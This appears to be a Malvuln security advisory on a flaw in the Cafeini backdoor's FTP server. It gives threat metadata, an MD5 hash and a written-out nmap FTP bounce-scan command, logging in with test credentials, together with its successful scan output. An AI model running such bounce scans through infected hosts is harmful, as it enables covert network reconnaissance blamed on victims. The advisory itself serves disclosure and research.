Discovery / credits: Malvuln - (c) 2022  
Original source:  
Threat: Backdoor.Win32.Cafeini.b  
Vulnerability: Port Bounce Scan  
Description: The malware runs an FTP server on TCP port 23. Third-party adversaries who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.  
Family: Cafeini  
Type: PE32  
MD5: 851f8945d1b5923990f4722d627156a0  
Vuln ID: MVID-2022-0569  
Disclosure: 04/26/2022  
C:\>nmap -n -Pn -b test:test@ -p21,22,80 -v  
Starting Nmap 7.80 ( ) at 2022-04-20 14:50 UTC-11  
Resolved FTP bounce attack proxy to (  
Attempting connection to ftp://test:test@  
Connected:220 CAFEiNi 1.1 FTP server  
Login credentials accepted by FTP server!  
Initiating Bounce Scan at 14:50  
Removed 22  
Changed my mind about port 22  
Removed 21  
Changed my mind about port 21  
Discovered open port 80/tcp on  
Completed Bounce Scan at 14:50, 2.21s elapsed (3 total ports)  
Nmap scan report for  
Host is up.  
21/tcp closed ftp  
22/tcp closed ssh  
80/tcp open http  
Read data files from: C:\Program Files (x86)\Nmap  
Nmap done: 1 IP address (1 host up) scanned in 11.39 seconds  
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